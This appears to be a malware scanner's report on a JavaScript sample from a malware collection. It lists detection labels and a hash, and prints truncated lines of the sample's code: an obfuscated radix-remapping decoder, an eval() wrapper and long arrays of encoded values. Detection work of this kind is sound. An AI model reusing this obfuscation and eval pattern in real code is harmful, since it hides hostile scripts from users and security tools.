Suspicious ^80% javascript-malware-collection Download

20151210_16287fd370c75e0a0dd67a468c229644.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-25652a97debb483ff7170665971fcb549a3b7d229994684c03de05b290b0adb6c12

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var NLOaHcBYRFFBU=[];
2ZeDIPhK=(-128+128)/92;while(true){if(ZeDIPhK>=(50703+113)/397){break;}NLOaHcBYRFFBU[ZeDIPhK]=String.fromCharCode(ZeDIPhK);ZeDIPhK++;}
3function bmMRB(gtrwpARuypP,hHfxoWjQUYagu,jcIXRZBd){TVFs=parseInt(gtrwpARuypP,hHfxoWjQUYagu);nwuzo=TVFs.toString(jcIXRZBd);return nwuzo;}function SodlLXAfIxyKkBL(WjhTOaWIRrxVsQdTR){eval(WjhTOaWIRrxVsQdTR)}
4function EgKHzlCVpThffNrPLsQmiMvCrfDlJlPOsAjYCEUBVMtdkxfeexPcNK(QEZuzFOtSbwAx,ZBtIMQPbqEDBav){ return NLOaHcBYRFFBU[bmMRB(QEZuzFOtSbwAx[ZBtIMQPbqEDBav],(20131+444)/823,(3277+43)/332)];}
5function OvAVoSK(iRoGdjWdrxVrflUxrahRokwQfiILXUJldYNR) {return !isNaN(parseFloat(iRoGdjWdrxVrflUxrahRokwQfiILXUJldYNR)) && isFinite(iRoGdjWdrxVrflUxrahRokwQfiILXUJldYNR);}
6function thREqIdivTD(gQXxGKOg,NNESDo){return gQXxGKOg.split(NNESDo)}
7var y=[];y[0]="d";y[1]="a";y[2]="d";y[3]="a";y[4]="4i";y[5]="3m";y[6]="4e";y[7]="17";y[8]="35";y[9]="17";y[10]="2b";y …

Massive array index assignment line 8

8:3018… ";b[752]="23";b[753]="21";b[754]="1g";b[755]="17";b[756]="17";b[757]="4n";b[758]="d";b[759]="a";b[760]="17";b[761]="17";b[762]="17";b[763]="17";b[764]="17";b[765]="17";b[766]="17";b[767]="17";b[768]="31";b[769]="47";b[770]="17";b[771]="2b";b[772]="17";b[773]="1o";b[774]="29";b[775]="17";b[776]="35";b[777]="2o";b[778]="4g";b[779]="1l";b[780]="4c";b[781]="4b";b[782]="4f";b[783]="45";b[784]="4g";b[785]="45";b …